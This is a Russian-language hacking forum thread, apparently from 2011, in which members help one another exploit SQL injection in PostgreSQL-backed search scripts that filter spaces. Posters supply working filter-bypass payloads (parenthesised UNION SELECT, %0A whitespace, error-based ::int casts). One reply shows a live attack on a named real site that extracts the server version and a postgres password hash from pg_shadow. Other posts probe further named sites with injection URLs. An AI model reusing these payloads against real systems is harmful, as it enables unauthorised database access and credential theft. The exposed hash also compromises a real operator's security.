Что если SQLскрипт фильтрует побелы, и "+"?

Discussion in 'Песочница' started by am319, 5 Mar 2011.

  1. am319

    am319 New Member

    Joined:
    25 Feb 2011
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Имею дело с уязвимым поисковым скриптом. Свободно и без ошибок проходят все инъекции без пробелов и "+", например
    ?q=asd')OR(1=1)OR('sad'='ssd
    но стоит в запросе применить пробел, как выдаеца ошибка.
    поизучал скрипт, выяснил что это ииза того, что поисковик обрабатывает слова по отдельности, таксказать...чтобы круче искало...
    WHERE ((title ILIKE '%asd')%' AND title ILIKE '%or(1=1)or%')
    сопсна вопрос: что делать с этой гадостью, дабы была возможность человеческие инъекции проводить, а не "OR(1=1)"??
     
  2. str71

    str71 New Member

    Joined:
    14 Dec 2010
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    попробуй использовать
    Code:
    /**/
     
  3. am319

    am319 New Member

    Joined:
    25 Feb 2011
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    пробовал.... ему походу ваще на комментарии пофигу... только вот это я не знаю как объяснить
     
  4. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    Например так
    HTML:
    (-1)union(select(1),2,3)
    HTML:
    (-1)union(select(table_name),2,(3)from(information_schema.tables)) 
    
    Ну и далее перебирать нужные таблицы
    HTML:
    (-1)union(select(table_name),2,(3)from(information_schema.tables)where(table_name>'SCHEMA_PRIVILEGES'))
     
    #4 h00lyshit!, 5 Mar 2011
    Last edited: 9 Mar 2011
    4 people like this.
  5. am319

    am319 New Member

    Joined:
    25 Feb 2011
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    чет ваще не канает...но на вопрос ответил, спс.
    а вот еще такой момент:
    если известно что имею дело с PostgreSQL, то коректна такая связка?
    HTML:
    OR(select(blabla))
     
  6. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Для постгреса валидны варианты
    Code:
    select"column_name"from"information_schema"."columns"where"table_name"=$$clients$$;
    select(column_name)from"information_schema"."columns"where(table_name)='clients';
    
    Имя таблицы в скобках СУБД не принимает
     
    1 person likes this.
  7. am319

    am319 New Member

    Joined:
    25 Feb 2011
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    чет всеравно выдает трехэтажную ошибку...
    есть какойнить способ заставить его игнорировать остальную часть скрипта, кроме /* и # ?
     
  8. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Ошибку-то покажите. В постгресе игнорирование остальной части запроса с помощью /* не выйдет - СУБД выдаст ошибку, ибо требует закрытия комментария. # тут вообще не поможет. Пробуйте
    Code:
    --
    +--+
    ;--
    ;+--+
    
     
  9. am319

    am319 New Member

    Joined:
    25 Feb 2011
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    вбиваю к примеру
    HTML:
    http://site.ru/trade/future/?q=asd')OR(1=1)OR('ass'='as
    выполняется успешно, выводятся воообще все результаты (ибо 1=1 везде)
    вместо 1=1 подставляю, к примеру select'1'
    на что мне отвечают
    HTML:
    ERROR [2] pg_query() [function.pg-query]: Query failed: ERROR: failed to find conversion function from unknown to boolean on line 135 in file /castle/sites/site.ru/htdocs/includes/database/database.pgsql.php  (page: /trade/future/?q=asd')OR(select'1')OR('ass'='as) Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.6.30 Version/10.61ERROR [2] pg_query() [function.pg-query]: Query failed: ERROR: failed to find conversion function from unknown to boolean on line 135 in file /castle/sites/site.ru/htdocs/includes/database/database.pgsql.php  (page: /trade/future/?q=asd')OR(select'1')OR('ass'='as) Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.6.30 Version/10.61
    пробовал тут все что умею, но походу недостаточно знаю постгрес
     
    #9 am319, 14 Mar 2011
    Last edited: 14 Mar 2011
  10. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Так?
    Code:
    http://site.ru/trade/future/?q=asd')OR(select'1')...
    
    Правильно пишет - ошибка синтаксиса: не может преобразовать результат подзапроса в булевское значение
     
  11. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Используй всякие дополнительные знаки, типа табебулятия, возврат-перевод каретки и т. д.
     
    #11 randman, 14 Mar 2011
    Last edited: 15 Mar 2011
  12. am319

    am319 New Member

    Joined:
    25 Feb 2011
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    krypt3r
    Ну эт то я и сам увидел, но как только не извращался с этим синтаксисом, не могу заставить его работать с 'select'ом. фантазия уже заканчиваеца
    XAMEHA
    опаопа! а вот тут поподробней плиз))
     
    #12 am319, 14 Mar 2011
    Last edited: 14 Mar 2011
  13. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    а может хватит гадать и ты просто ссылку выложишь?
     
  14. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Подкину пару вариантов
    Code:
    http://site.ru/trade/future/?q=asd')OR(1=((select(version()))::int))
    http://site.ru/trade/future/?q=asd')OR(1)=((select"passwd"from"pg_shadow"limit(1)offset(2))::int)
    
    Ну и примеры. За основу взята одна из инъекций в соответствующей теме.
    Запрос
    Code:
    http://cat.rusbic.ru/?rgn=80&cn=-999)OR(1)=((select(version()))::int);--+
    
    Ответ:
    Code:
    Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "[b]PostgreSQL 8.3.11 on x86_64-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2[/b]" in /var/www/rusbic/data/www/rusbic.ru/func/base.php on line 84
    
    Запрос:
    Code:
    http://cat.rusbic.ru/?rgn=80&cn=-999)OR(1)=((select"usename"||':'||"passwd"from"pg_shadow"limit(1)offset(0))::int);--+
    
    Ответ:
    Code:
    Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "[b]postgres:md5ec63fc1e79539051850385b5ec9411fe[/b]" in /var/www/rusbic/data/www/rusbic.ru/func/base.php on line 84
    
     
    #14 krypt3r, 14 Mar 2011
    Last edited: 14 Mar 2011
  15. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Для начала надо понять что тут используеться PostgreSQL.

    Вот как можно избавиться от фильтрации пробелов:
    Вот статья их хакера:

    кажем, ты нашел инъекцию на крупном новостном портале, но никак не можешь ее раскрутить, так как все известные тебе варианты пробелов не работают. Давай рассмотрим такой код
    PHP:
    if(isset($_GET['id']) && $_GET['id']!=''){
    if(
    strstr($_GET['id']," ") {die "HACK ALERT"};
    if(
    strstr($_GET['id'],"/**/") {die "HACK ALERT"};
    if(
    strstr($_GET['id'],"+") {die "HACK ALERT"};
    if(
    strstr($_GET['id'],"%20") {die "HACK ALERT"};
    здесь какие-то запросы с использованием переменной $_GET['id']

    Как мы видим, при использовании пробелов " ", /**/, + и %20 скрипт прекращает свою работу. На самом деле существует как минимум два способа обхода такого скрипта, первый – использование различных пробельных символов, второй – использование логики SQL запросов, в частности их реализации в MySQL.

    1. Итак, первый способ. Помимо самого пробела существует множество различных пробельных символов, табуляция, возврат каретки и так далее. Вот их полный (а может и нет ;)) список:

    %09 – horizontal tab, горизонтальная табуляция
    %0A – NL line feed, символ новой строки
    %0B – vertical tab, вертикальная табуляция
    %0C – NP form feed, символ новой страницы
    %0D – carriage return, возврат каретки

    Все эти символы будут рассматриваться как пробельные. Пример запроса:

    id=-1%0Aunion%0Aselect%0A1

    C этим, я думаю, все понятно, перейдем ко второму варианту:

    2. В MySQL есть возможность выполнять SQL-код в блоке комментариев, выглядит это примерно так:

    PHP:
    select id/*!,title*/ from news
    В данном случае из таблицы news будут выведены поля id и title. Теперь посмотрим, как это реализовать в боевых условиях:

    Но бывает и такое, что фильтруются символы слэша. Тогда можно использовать способ, основанный на использовании скобок в запросе. Вот пример для обхода вышеизложенного скрипта:

    PHP:
    id=(-1)union(select(version()))
    Надеюсь ты меня понял
     
    #15 randman, 15 Mar 2011
    Last edited: 15 Mar 2011
  16. kindunkind

    kindunkind New Member

    Joined:
    24 Apr 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Аналогичная проблема, не получается сформировать корректный запрос. А именно отловить закомментировать остаток запроса.
    Пример:
    http://www.roseltorg.ru/set/announce.php?id=10077'--

    https://com.roseltorg.ru/file/get/t/Protocols/?id=1036%27%20order%20by%20100/*
     
    #16 kindunkind, 14 Jan 2012
    Last edited: 14 Jan 2012
  17. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Там нет скульи. Ибо интвалится...
     
  18. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,248
    Likes Received:
    1,148
    Reputations:
    886
    http://www.roseltorg.ru/set/announce.php?id=1test

    invalid input syntax for integer: "1test"

    переменная id без изменений попадает в запрос, никакого intval а там нету
     
    _________________________
    1 person likes this.
  19. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    %0A, и все ок.
    http://etp.roseltorg.ru/trade/future/?q=%27%29%0A--%0A1
     
  20. kindunkind

    kindunkind New Member

    Joined:
    24 Apr 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    судя по всему это не инъекция